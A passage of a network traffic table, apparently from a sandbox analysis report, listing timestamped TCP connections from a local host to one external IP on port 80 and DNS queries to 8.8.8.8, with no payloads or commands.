Dec 3, 2020 10:04:21.276993990 CET	50031	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.293648958 CET	80	50031	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.293844938 CET	50031	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.297703028 CET	50031	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.314218044 CET	80	50031	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.314348936 CET	50031	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.330854893 CET	80	50031	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.363495111 CET	80	50031	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.363646030 CET	50031	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.363703012 CET	50031	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.380259991 CET	80	50031	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.555741072 CET	50032	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.572384119 CET	80	50032	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.572530031 CET	50032	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.576517105 CET	50032	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.593106985 CET	80	50032	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.593246937 CET	50032	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.609709024 CET	80	50032	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.640626907 CET	80	50032	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.641113043 CET	50032	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.641134977 CET	50032	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.657679081 CET	80	50032	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.881999969 CET	50033	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.898478985 CET	80	50033	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.898641109 CET	50033	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.902507067 CET	50033	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.918993950 CET	80	50033	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.920439959 CET	50033	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.936877012 CET	80	50033	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.955470085 CET	80	50033	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:21.955590010 CET	50033	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.955641031 CET	50033	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:21.972438097 CET	80	50033	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:22.150783062 CET	50034	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.167351007 CET	80	50034	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:22.167556047 CET	50034	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.174315929 CET	50034	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.190846920 CET	80	50034	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:22.190910101 CET	50034	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.207365036 CET	80	50034	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:22.233496904 CET	80	50034	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:22.233686924 CET	50034	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.233728886 CET	50034	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.250255108 CET	80	50034	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:22.422760010 CET	50035	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.439274073 CET	80	50035	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:22.439471960 CET	50035	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.442214012 CET	50035	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.458806038 CET	80	50035	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:22.458952904 CET	50035	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.475471973 CET	80	50035	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:22.546780109 CET	80	50035	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:22.546910048 CET	50035	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.546983004 CET	50035	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.563405991 CET	80	50035	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:22.748981953 CET	50036	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.765662909 CET	80	50036	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:22.765852928 CET	50036	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.769361973 CET	50036	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.786026955 CET	80	50036	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:22.786127090 CET	50036	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.802799940 CET	80	50036	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:22.829092979 CET	80	50036	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:22.829221964 CET	50036	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.829569101 CET	50036	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:22.846004009 CET	80	50036	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.009248972 CET	50037	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.025789022 CET	80	50037	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.025891066 CET	50037	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.028922081 CET	50037	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.045459032 CET	80	50037	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.045603037 CET	50037	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.062155962 CET	80	50037	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.092648029 CET	80	50037	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.092721939 CET	50037	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.092763901 CET	50037	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.109363079 CET	80	50037	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.282191038 CET	50038	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.298695087 CET	80	50038	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.298820019 CET	50038	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.302681923 CET	50038	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.319221973 CET	80	50038	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.319318056 CET	50038	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.335731983 CET	80	50038	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.366543055 CET	80	50038	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.366739035 CET	50038	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.366791964 CET	50038	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.383367062 CET	80	50038	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.570435047 CET	50039	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.587022066 CET	80	50039	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.587107897 CET	50039	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.590394974 CET	50039	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.607070923 CET	80	50039	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.607166052 CET	50039	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.623667002 CET	80	50039	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.648849010 CET	80	50039	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.648941994 CET	50039	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.648986101 CET	50039	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.668589115 CET	80	50039	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.849392891 CET	50040	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.865938902 CET	80	50040	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.867436886 CET	50040	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.869442940 CET	50040	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.885942936 CET	80	50040	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.886085033 CET	50040	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.902667999 CET	80	50040	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.928852081 CET	80	50040	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:23.929096937 CET	50040	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.929141045 CET	50040	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:23.945774078 CET	80	50040	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:24.136841059 CET	50041	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.153577089 CET	80	50041	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:24.153702974 CET	50041	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.157418013 CET	50041	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.174141884 CET	80	50041	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:24.174293041 CET	50041	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.190860987 CET	80	50041	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:24.216682911 CET	80	50041	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:24.216867924 CET	50041	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.217034101 CET	50041	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.235045910 CET	80	50041	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:24.425326109 CET	50042	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.441955090 CET	80	50042	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:24.442136049 CET	50042	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.445219040 CET	50042	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.461875916 CET	80	50042	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:24.462002993 CET	50042	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.478625059 CET	80	50042	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:24.503657103 CET	80	50042	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:24.503794909 CET	50042	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.503855944 CET	50042	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.520441055 CET	80	50042	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:24.715929031 CET	50043	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.732611895 CET	80	50043	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:24.732898951 CET	50043	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.740638018 CET	50043	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.757303953 CET	80	50043	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:24.757440090 CET	50043	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.774022102 CET	80	50043	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:24.798671961 CET	80	50043	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:24.799171925 CET	50043	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.799293041 CET	50043	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:24.817720890 CET	80	50043	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:25.335067034 CET	50044	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:25.351764917 CET	80	50044	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:25.351943016 CET	50044	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:25.359903097 CET	50044	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:25.376547098 CET	80	50044	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:25.376658916 CET	50044	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:25.393244028 CET	80	50044	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:25.418654919 CET	80	50044	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:25.418843985 CET	50044	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:25.418893099 CET	50044	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:25.435466051 CET	80	50044	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:25.758984089 CET	50045	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:25.775543928 CET	80	50045	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:25.775687933 CET	50045	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:25.779330015 CET	50045	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:25.795845985 CET	80	50045	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:25.795938969 CET	50045	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:25.812377930 CET	80	50045	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:25.837142944 CET	80	50045	47.91.79.163	192.168.2.3
Dec 3, 2020 10:04:25.837348938 CET	50045	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:25.837444067 CET	50045	80	192.168.2.3	47.91.79.163
Dec 3, 2020 10:04:25.853893995 CET	80	50045	47.91.79.163	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2020 10:02:14.011554003 CET	57544	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:14.047045946 CET	53	57544	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:21.728581905 CET	55984	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:21.755825043 CET	53	55984	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:22.458570004 CET	64185	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:22.485691071 CET	53	64185	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:23.302078962 CET	65110	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:23.337738991 CET	53	65110	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:24.044142962 CET	58361	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:24.071228027 CET	53	58361	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:28.585885048 CET	63492	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:28.898961067 CET	53	63492	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:29.235055923 CET	60831	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:29.270814896 CET	53	60831	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:29.554157019 CET	60100	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:29.589957952 CET	53	60100	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:30.093907118 CET	53195	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:30.129522085 CET	53	53195	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:30.440342903 CET	50141	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:30.754401922 CET	53	50141	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:31.059484959 CET	53023	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:31.097273111 CET	53	53023	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:31.465171099 CET	49563	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:31.500906944 CET	53	49563	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:31.770330906 CET	51352	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:31.806010008 CET	53	51352	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:32.094156981 CET	59349	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:32.129793882 CET	53	59349	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:32.416392088 CET	57084	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:32.452068090 CET	53	57084	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:32.708549976 CET	58823	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:32.744071007 CET	53	58823	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:33.007380962 CET	57568	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:33.043495893 CET	53	57568	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:33.324595928 CET	50540	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:33.364901066 CET	53	50540	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:33.646433115 CET	54366	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:33.682089090 CET	53	54366	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:34.000180006 CET	53034	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:34.035439014 CET	53	53034	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:34.313985109 CET	57762	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:34.341048002 CET	53	57762	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:34.770662069 CET	55435	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:34.806020975 CET	53	55435	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:35.186542034 CET	50713	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:35.222217083 CET	53	50713	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:35.972059011 CET	56132	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:36.007853985 CET	53	56132	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:36.264887094 CET	58987	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:36.291889906 CET	53	58987	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:36.717093945 CET	56579	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:36.752609968 CET	53	56579	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:38.498115063 CET	60633	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:38.533613920 CET	53	60633	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:38.826427937 CET	61292	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:38.853271961 CET	53	61292	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:39.042421103 CET	63619	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:39.069555998 CET	53	63619	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:39.146038055 CET	64938	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:39.181564093 CET	53	64938	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:39.479924917 CET	61946	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:39.515683889 CET	53	61946	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:39.794024944 CET	64910	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:39.802654028 CET	52123	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:39.829411030 CET	53	64910	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:39.838051081 CET	53	52123	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:40.109395027 CET	56130	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:40.145191908 CET	53	56130	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:40.415194988 CET	56338	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:40.442272902 CET	53	56338	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:40.611177921 CET	59420	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:40.638222933 CET	53	59420	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:40.703869104 CET	58784	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:40.741365910 CET	53	58784	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:41.027050972 CET	63978	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:41.062978029 CET	53	63978	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:41.361510038 CET	62938	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:41.365312099 CET	55708	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:41.397211075 CET	53	62938	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:41.411302090 CET	53	55708	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:41.497478962 CET	56803	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:41.524533033 CET	53	56803	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:41.670005083 CET	57145	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:41.705841064 CET	53	57145	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:41.976327896 CET	55359	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:42.011847019 CET	53	55359	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:42.270056009 CET	58306	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:42.305793047 CET	53	58306	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:42.604676962 CET	64124	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:42.631668091 CET	53	64124	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:42.928745985 CET	49361	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:42.955840111 CET	53	49361	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:43.225001097 CET	63150	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:43.260128975 CET	53	63150	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:43.374526024 CET	53279	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:43.401573896 CET	53	53279	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:43.561017036 CET	56881	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:43.588223934 CET	53	56881	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:43.881627083 CET	53642	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:43.908668041 CET	53	53642	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:43.952725887 CET	55667	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:43.979747057 CET	53	55667	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:44.201263905 CET	54833	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:44.228200912 CET	53	54833	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:44.502989054 CET	62476	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:44.629713058 CET	53	62476	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:44.972174883 CET	49705	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:44.999114037 CET	53	49705	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:45.313241005 CET	61477	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:45.340262890 CET	53	61477	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:45.632884026 CET	61633	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:45.668576002 CET	53	61633	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:45.958441973 CET	55949	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:45.985465050 CET	53	55949	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:46.264465094 CET	57601	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:46.299807072 CET	53	57601	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:46.572137117 CET	49342	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:46.599189997 CET	53	49342	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:46.884318113 CET	56253	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:46.919864893 CET	53	56253	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:47.159286976 CET	49667	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:47.186382055 CET	53	49667	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:47.451164007 CET	55439	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:47.486779928 CET	53	55439	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:47.757059097 CET	57069	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:47.792609930 CET	53	57069	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:48.072316885 CET	57659	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:48.110110044 CET	53	57659	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:48.382123947 CET	54717	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:48.409198999 CET	53	54717	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:48.664874077 CET	63975	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:48.692008972 CET	53	63975	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:48.953640938 CET	56639	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:48.980655909 CET	53	56639	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:49.240653038 CET	51856	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:49.267726898 CET	53	51856	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:49.537837982 CET	56546	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:49.564949036 CET	53	56546	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:50.012649059 CET	62152	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:50.039614916 CET	53	62152	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:50.312208891 CET	53470	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:50.339246988 CET	53	53470	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:50.616952896 CET	56446	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:50.644004107 CET	53	56446	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:50.912763119 CET	59631	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:50.950619936 CET	53	59631	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:51.202581882 CET	55515	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:51.238410950 CET	53	55515	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:51.474638939 CET	64547	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:51.510412931 CET	53	64547	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:51.791898012 CET	51759	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:51.827558994 CET	53	51759	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:52.069417953 CET	59207	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:52.104988098 CET	53	59207	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:52.393465042 CET	54269	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:52.420568943 CET	53	54269	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:52.717830896 CET	54856	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:52.753354073 CET	53	54856	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:53.049109936 CET	64140	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:53.084618092 CET	53	64140	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:53.302731037 CET	62271	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:53.338102102 CET	53	62271	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:53.412718058 CET	57404	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:53.439642906 CET	53	57404	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:53.700769901 CET	62997	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:53.727933884 CET	53	62997	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:54.064919949 CET	57712	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:54.092657089 CET	53	57712	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:54.348299980 CET	60065	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:54.383914948 CET	53	60065	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:54.633327961 CET	55068	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:54.660371065 CET	53	55068	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:55.265343904 CET	64700	53	192.168.2.3	8.8.8.8
Dec 3, 2020 10:02:55.292409897 CET	53	64700	8.8.8.8	192.168.2.3
Dec 3, 2020 10:02:55.642606020 CET	61998	53	192.168.2.3	8.8.8.8
